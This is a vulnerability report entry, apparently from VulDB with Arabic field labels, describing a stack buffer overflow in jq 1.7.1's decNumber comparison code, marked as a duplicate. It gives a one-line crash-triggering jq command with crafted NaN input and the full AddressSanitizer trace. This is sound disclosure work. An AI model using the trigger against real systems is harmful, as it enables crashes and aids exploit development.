| عنوان | jq jq is a command-line JSON processor. 1.7.1 Buffer Overflow |
|---|
| الوصف | using this command to produce this bug
./jq-1.7.1/bins/bin/jq -s '.-.' <<<'9 NAN8999999999999999999999999999999999999999999999999""'
=================================================================
==1358845==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffd61852050 at pc 0x556a04d0859f bp 0x7ffd618517c0 sp 0x7ffd618517b8
WRITE of size 2 at 0x7ffd61852050 thread T0
#0 0x556a04d0859e in decNumberCopy /tmp/jq-1.7.1/src/decNumber/decNumber.c:3375:45
#1 0x556a04d173dd in decNaNs /tmp/jq-1.7.1/src/decNumber/decNumber.c:7706:33
#2 0x556a04d06982 in decCompareOp /tmp/jq-1.7.1/src/decNumber/decNumber.c:6085:7
#3 0x556a04d05bbd in decNumberCompare /tmp/jq-1.7.1/src/decNumber/decNumber.c:858:3
#4 0x556a04c6a651 in jvp_number_cmp /tmp/jq-1.7.1/src/jv.c:748:5
#5 0x556a04c84373 in jvp_number_equal /tmp/jq-1.7.1/src/jv.c:773:10
#6 0x556a04c71a81 in jv_equal /tmp/jq-1.7.1/src/jv.c:1917:11
#7 0x556a04d5e0ca in binop_minus /tmp/jq-1.7.1/src/builtin.c:339:13
#8 0x556a04d830c9 in f_minus /tmp/jq-1.7.1/src/builtin.c:55:1
#9 0x556a04c4718a in jq_next /tmp/jq-1.7.1/src/execute.c:918:21
#10 0x556a04c32145 in process /tmp/jq-1.7.1/src/main.c:200:31
#11 0x556a04c2fd0e in main /tmp/jq-1.7.1/src/main.c:739:15
#12 0x7f0f0aee3082 in __libc_start_main /build/glibc-LcI20x/glibc-2.31/csu/../csu/libc-start.c:308:16
#13 0x556a04b687cd in _start (/tmp/jq-1.7.1/bins/bin/jq+0x647cd) (BuildId: 8dcf56820b82446cfdfd28d1cdf9d48a6eeed42a)
Address 0x7ffd61852050 is located in stack of thread T0 at offset 112 in frame
#0 0x556a04c6a16f in jvp_number_cmp /tmp/jq-1.7.1/src/jv.c:737
This frame has 3 object(s):
[32, 48) 'a'
[64, 80) 'b'
[96, 112) 'res' (line 743) <== Memory access at offset 112 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /tmp/jq-1.7.1/src/decNumber/decNumber.c:3375:45 in decNumberCopy
Shadow bytes around the buggy address:
0x10002c3023b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10002c3023c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10002c3023d0: 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1
0x10002c3023e0: 04 f3 f3 f3 00 00 00 00 00 00 00 00 00 00 00 00
0x10002c3023f0: 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1
=>0x10002c302400: 00 00 f2 f2 00 00 f2 f2 00 00[f3]f3 00 00 00 00
0x10002c302410: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10002c302420: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10002c302430: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10002c302440: f1 f1 f1 f1 00 00 f2 f2 00 00 f3 f3 00 00 00 00
0x10002c302450: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==1358845==ABORTING
This bug is different from CVE-2023-50246 and CVE-2023-50268. Verified by the ASAN output of the poc of CVE-2023-50246 and CVE-2023-50268 |
|---|
| المستخدم | wenjusun (UID 80422) |
|---|
| ارسال | 19/01/2025 02:45 PM (2 سنوات منذ) |
|---|
| الاعتدال | 27/01/2025 09:43 AM (8 days later) |
|---|
| الحالة | مكرر |
|---|
| إدخال VulDB | 247968 [jq 1.7 تلف الذاكرة] |
|---|
| النقاط | 0 |
|---|